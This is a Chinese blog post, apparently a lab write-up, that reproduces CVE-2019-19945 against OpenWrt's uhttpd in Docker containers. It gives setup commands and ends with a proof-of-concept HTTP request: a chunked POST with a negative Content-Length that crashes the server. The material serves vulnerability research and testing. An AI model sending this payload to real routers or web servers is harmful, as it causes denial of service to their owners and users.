CVE-2019-19945漏洞复现 Openwrt针对uhttpd漏洞利用

发布于:2024-05-07 ⋅ 阅读:(27) ⋅ 点赞:(0)

根据官方漏洞的文档,该漏洞的复现工作我会基于openwrt的18.06.4这个版本进行测试。我选取的环境是渗透测试常用的kali-Linux系统,然后在其中搭建docker环境来完成相应的实验环境的部署。我通过这个核心命令获取docker环境:

sudo docker import  https://archive.openwrt.org/releases/18.06.4/targets/x86/generic/openwrt-18.06.4-x86-generic-generic-rootfs.tar.gz openwrt-x86-generic-18.06.4-rootfsq

部署完毕后结果如下:

接下来按照要求创建相应的容器获得控制,如下:

之后我们按照要求一步步的搭建漏洞的环境,uhttpd进行测试,具体测试如下:

但是发现根据相应的方法并没有什么效果,可能是这个docker环境比较简陋,不能满足复现所需要的环境要求。所以选择更换别的方法进行复现。

首先对Server端进行了部署的操作,具体部署如下:

最终配置服务端部署完毕结果如下:

然后我们启动服务器即可,如下:

检查docker进程并且查看服务器端的IP地址:

可以发现 web服务成功启动了

接下来设置相应的客户端进行复现:server_ip填写刚才的服务器容器的ip地址

之后我们也启动客户端的环境:

我们可以看下目前处于启动状态的docker环境 为

接下来我们基于客户端 来利用poc对server进行攻击测试

接下来我们测试服务器端的效果

网页已经出现错误了

相应的docker也出现了中断的情况

复现成功!

漏洞复现的参考链接:

并未成功:

https://xz.aliyun.com/t/9041?time__1311=n4%2BxuDgD9DyAeAKD%3DDODlxG2b7eg4xD5Qq3QYx&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3DNM5mJ6h4u8mxmZVo4EwUoET8EDe5-xsp_sudEfQD2CgHbu6XyzKawXqREAot5Eoy%26wd%3D%26eqid%3Df12ef11d000288aa0000000466385cc7

成功的复现参考地址:

https://github.com/delicateByte/CVE-2019-19945_Test

具体的复现思路

This is the code for the first Proposed CVE

  1. Install Docker

  2. Build & RUN Servercd Server docker build -t server/cve .docker run -d --name server -p 80:80 server/cve

  3. Get Server Container IPLinuxsudo docker container inspect server | grep -i IPAddressWindows Powershelldocker container inspect server | Select-String "IPAddress"Extract IP and add it to Command for building the ClientYou can check the server by going to localhost:80 in your browser

  4. Build & Run Clientby uncommenting the CMD in the Client/Dockerfile the attack will automatically start with the start of the containercd ../Client/docker build --build-arg server_ip=<SERVER_IP> -t client/cve .docker run -d -p 8080:8080 client/cve

  5. Attach to CLient Docker docker container lsfind client/cve container && attachdocker exec -it <ContainerID> /bin/sh

  6. When Ready Launch Attack ./crash.sh

  7. Server will be unable to respond

POC内容:

POST /cgi-bin/crash HTTP/1.0

Transfer-Encoding: chunked

Content-Length: -100000  

持续更新!接下来会逐步展示该漏洞的形成原理!